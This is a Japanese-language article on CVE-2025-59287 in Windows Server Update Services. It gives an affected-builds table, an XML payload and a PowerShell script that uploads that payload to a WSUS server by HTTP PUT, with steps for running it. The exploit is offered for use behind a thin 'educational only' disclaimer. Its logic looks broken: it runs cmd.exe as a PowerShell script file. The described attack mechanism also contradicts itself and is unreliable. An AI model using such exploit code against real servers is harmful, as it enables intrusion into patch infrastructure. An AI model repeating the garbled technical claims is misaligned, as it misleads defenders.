
CVE-2025-59287の技術的分析と概念実証エクスプロイト。Windows Server Update Servicesにおける安全でない逆シリアル化による重大なRCEであり、影響を受けるビルドと緩和策を含む。
CVE-2025-59287 は、Windows Server Update Services (WSUS) における、信頼できないデータの安全でない逆シリアル化に起因する重大な RCE 脆弱性です。認証なしでリモート攻撃者が任意のコードを実行できる可能性があります。活発な悪用が確認されているため、緊急のパッチ適用が推奨されます。
CVE‑2025‑59287 – Windows Server Update Services (WSUS) におけるリモートコード実行の脅威
By Mark Mallia
Microsoft の Windows Server Update Services (WSUS) は、すべての Microsoft Windows Server プラットフォームにおけるパッチ管理の基盤です。WSUS は Microsoft の更新カタログから更新プログラムを取得し、検証して、ネットワーク内のすべてのサーバーに配信します。CVE‑2025‑59287 として識別されるこの脆弱性は、WSUS 内部の安全でない逆シリアル化ルーチンを悪用し、攻撃者が更新フィードに任意の XML コンテンツを注入できるようにします。WSUS はソースパスやコマンドデータの検証なしにペイロードを処理するため、攻撃者は任意のファイル名とパスを指定でき、ターゲットサーバー上で完全なリモートコード実行を引き起こすことができます。
これが重要な理由:
| 製品バージョン | 影響を受けるビルド |
|---|
| Windows Server 2012 | 6.2.9200.0 – < 6.2.9200.25728 |
| Windows Server 2012 R2 | 6.3.9600.0 – < 6.3.9600.22826 |
| Windows Server 2016 | 10.0.14393.0 – < 10.0.14393.8524 |
| Windows Server 2019 | 10.0.17763.0 – < 10.0.17763.7922 |
| Windows Server 2022 | 10.0.20348.0 – < 10.0.20348.4297 |
| Windows Server 2025 | 10.0.26100.0 – < 10.0.26100.6905 |
| Windows Server 23H2 | 10.0.25398.0 – < 10.0.25398.1916 |
(お使いの環境が異なるパッチビルドの場合は、それに応じて範囲を調整してください。)
System.Xml.Linq.XElement で逆シリアル化します。<SourcePath> 要素に任意の値を配置できます。この値は絶対パスとしてディスクに書き込まれます。<Command> タグ内のコンテンツは、WSUS がストリームを処理する際に PowerShell によって実行され、完全なリモートコード実行が可能になります。以下は、脆弱なサーバーにアップロードする XML ペイロードです。
<?xml version="1.0" encoding="utf-8"?>
<UpdateStream>
<Metadata>
<Title>WSUS Exploit</Title>
<Description>Injected by local attacker.</Description>
</Metadata>
<SourcePath>C:\Windows\System32\cmd.exe</SourcePath>
<Command><![CDATA[
powershell -NoProfile -ExecutionPolicy Bypass `
-File C:\Windows\System32\cmd.exe
]]></Command>
</UpdateStream>
以下のスクリプトは、XML ペイロードを生成し、HTTP PUT 経由で WSUS インスタンスにアップロードし、トラブルシューティング用のログファイルを残します。
# --------------------------------------------------
# File: wsus‑exploit.ps1
# Purpose: Generate malicious UpdateStream.xml,
# upload it to the WSUS server,
# trigger the feed.
# --------------------------------------------------
param (
[string]$TargetUrl = 'http://wsus.example.com/UpdateStream.xml',
[int] $Port = 80,
[string] $XmlFile = '.\payload.xml'
)
function Build-Xml {
param ([string]$file)
$xmlContent = @"
<?xml version="1.0" encoding="utf-8"?>
<UpdateStream>
<Metadata>
<Title>WSUS exploit</Title>
<Description>Injected by local attacker.</Description>
</Metadata>
<SourcePath>C:\Windows\System32\cmd.exe</SourcePath>
<Command><![CDATA[
powershell -NoProfile -ExecutionPolicy Bypass `
-File C:\Windows\System32\cmd.exe
]]></Command>
</UpdateStream>
"@
Set-Content -Path $file -Value $xmlContent
}
# Build the XML payload
Build-Xml -file $XmlFile
# Upload via HTTP PUT
Invoke-WebRequest -Uri $TargetUrl `
-Method Put `
-InFile $XmlFile `
-OutFile 'upload.log'
Write-Host "Upload complete – WSUS should now process the stream."
winver.exe を実行し、ビルドが上記の範囲内にあることを確認します。wsus‑exploit.ps1 を WSUS インスタンスに到達可能なマシンにコピーし、異なるパスやポートを使用する場合は $TargetUrl を変更します。C:\Windows\System32\cmd.exe ファイルが存在し、期待されるペイロードが含まれていることを確認します。ここで提供される情報およびエクスプロイトコードは、教育目的のみを対象としています。ご自身の WSUS 環境に対してこのテストを実行する許可があることを確認し、本番システムに変更を展開する際は、該当するすべてのセキュリティベストプラクティスガイドラインに従ってください。